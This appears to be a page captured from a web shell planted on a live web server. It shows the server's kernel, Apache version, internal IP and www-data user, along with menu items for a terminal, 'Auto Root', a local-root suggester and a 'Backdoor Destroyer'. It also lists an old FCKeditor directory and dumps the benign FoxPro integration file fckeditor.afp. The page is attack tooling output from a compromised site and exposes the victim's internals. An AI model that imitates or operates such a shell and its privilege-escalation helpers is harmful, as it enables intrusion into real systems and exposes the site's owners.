Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
relay /
fckeditor /
Delete
Unzip
Name
Size
Permission
Date
Action
_samples
[ DIR ]
drwxr-sr-x
2014-07-04 12:12
_testcases
[ DIR ]
drwxr-sr-x
2014-07-04 12:12
editor
[ DIR ]
drwxr-sr-x
2014-07-04 12:11
_documentation.html
1.21
KB
-rw-r--r--
2014-07-04 12:11
_upgrade.html
1.24
KB
-rw-r--r--
2014-07-04 12:12
_whatsnew.html
198.99
KB
-rw-r--r--
2014-07-04 12:12
fckconfig.js
10.06
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.afp
4.06
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.asp
4.94
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.cfc
7.7
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.cfm
6.48
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.js
6.85
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.lasso
3.55
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.php
1.02
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.pl
3.22
KB
-rw-r--r--
2014-07-04 12:11
fckeditor.py
4.02
KB
-rw-r--r--
2014-07-04 12:11
fckeditor_php4.php
4.08
KB
-rw-r--r--
2014-07-04 12:11
fckeditor_php5.php
4.13
KB
-rw-r--r--
2014-07-04 12:11
fckstyles.xml
1.81
KB
-rw-r--r--
2014-07-04 12:11
fcktemplates.xml
2.9
KB
-rw-r--r--
2014-07-04 12:11
htaccess.txt
1.47
KB
-rw-r--r--
2014-07-04 12:11
license.txt
64.91
KB
-rw-r--r--
2014-07-04 12:11
Save
Rename
<% * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * File Name: fckeditor.afp * This is the integration file for Active FoxPro Pages. * * Version: 1.01 * Modified: 2006-11-13 * * File Authors: Soenke Freitag (www.afp-hosting.de) * DEFINE CLASS goFckeditor AS CONTAINER OLEPUBLIC cInstanceName ="" BasePath ="" cWIDTH ="" cHEIGHT ="" ToolbarSet ="" cValue="" DIMENSION aConfig(10,2) && ----------------------------------------------------------------------- FUNCTION fckeditor( tcInstanceName ) LOCAL lnLoop,lnLoop2 THIS.cInstanceName = tcInstanceName THIS.BasePath = '/fckeditor/' THIS.cWIDTH = '100%' THIS.cHEIGHT = '200' THIS.ToolbarSet = 'Default' THIS.cValue = '' FOR lnLoop=1 TO 10 FOR lnLoop2=1 TO 2 THIS.aConfig(lnLoop,lnLoop2) = "" NEXT NEXT RETURN ENDFUNC && ----------------------------------------------------------------------- FUNCTION CREATE() ? THIS.CreateHtml() RETURN ENDFUNC && ----------------------------------------------------------------------- FUNCTION CreateHtml() LOCAL html LOCAL lcLink HtmlValue = THIS.cValue && HTMLSPECIALCHARS() html = [<div>] IF THIS.IsCompatible() lcLink = THIS.BasePath+[editor/fckeditor.html?InstanceName=]+THIS.cInstanceName IF ( !THIS.ToolbarSet == '' ) lcLink = lcLink + [&Toolbar=]+THIS.ToolbarSet ENDIF && Render the LINKED HIDDEN FIELD. html = html + [<input type="hidden" id="]+THIS.cInstanceName +[" name="]+THIS.cInstanceName +[" value="]+HtmlValue+[" style="display:none" />] && Render the configurations HIDDEN FIELD. html = html + [<input type="hidden" id="]+THIS.cInstanceName +[___Config" value="]+THIS.GetConfigFieldString() + [" style="display:none" />] +CHR(13)+CHR(10) && Render the EDITOR IFRAME. html = html + [<iframe id="]+THIS.cInstanceName +[___Frame" src="Link" width="]+THIS.cWIDTH+[" height="]+THIS.cHEIGHT+[" frameborder="0" scrolling="no"></iframe>] ELSE IF ( AT("%", THIS.cWIDTH)=0 ) WidthCSS = THIS.cWIDTH + 'px' ELSE WidthCSS = THIS.cWIDTH ENDIF IF ( AT("%",THIS.cHEIGHT)=0 ) HeightCSS = THIS.cHEIGHT + 'px' ELSE HeightCSS = THIS.cHEIGHT ENDIF html = html + [<textarea name="]+THIS.cInstanceName +[" rows="4" cols="40" style="width: ]+WidthCSS+[ height: ]+HeightCSS+[">]+HtmlValue+[</textarea>] ENDIF html = html + [</div>] RETURN (html) ENDFUNC && ----------------------------------------------------------------------- FUNCTION IsCompatible() LOCAL llRetval LOCAL sAgent llRetval=.F. sAgent = LOWER(ALLTRIM(request.servervariables("HTTP_USER_AGENT"))) IF AT("msie",sAgent) >0 .AND. AT("mac",sAgent)=0 .AND. AT("opera",sAgent)=0 iVersion=VAL(SUBSTR(sAgent,AT("msie",sAgent)+5,3)) llRetval= iVersion > 5.5 ELSE IF AT("gecko",sAgent)>0 iVersion=VAL(SUBSTR(sAgent,AT("gecko/",sAgent)+6,8)) llRetval =iVersion > 20030210 ENDIF ENDIF RETURN (llRetval) ENDFUNC && ----------------------------------------------------------------------- FUNCTION GetConfigFieldString() LOCAL sParams LOCAL bFirst LOCAL sKey sParams = "" bFirst = .T. FOR lnLoop=1 TO 10 && ALEN(this.aconfig) IF !EMPTY(THIS.aConfig(lnLoop,1)) IF bFirst = .F. sParams = sParams + "&" ELSE bFirst = .F. ENDIF sParams = sParams +THIS.aConfig(lnLoop,1)+[=]+THIS.aConfig(lnLoop,2) ELSE EXIT ENDIF NEXT RETURN(sParams) ENDFUNC ENDDEFINE %>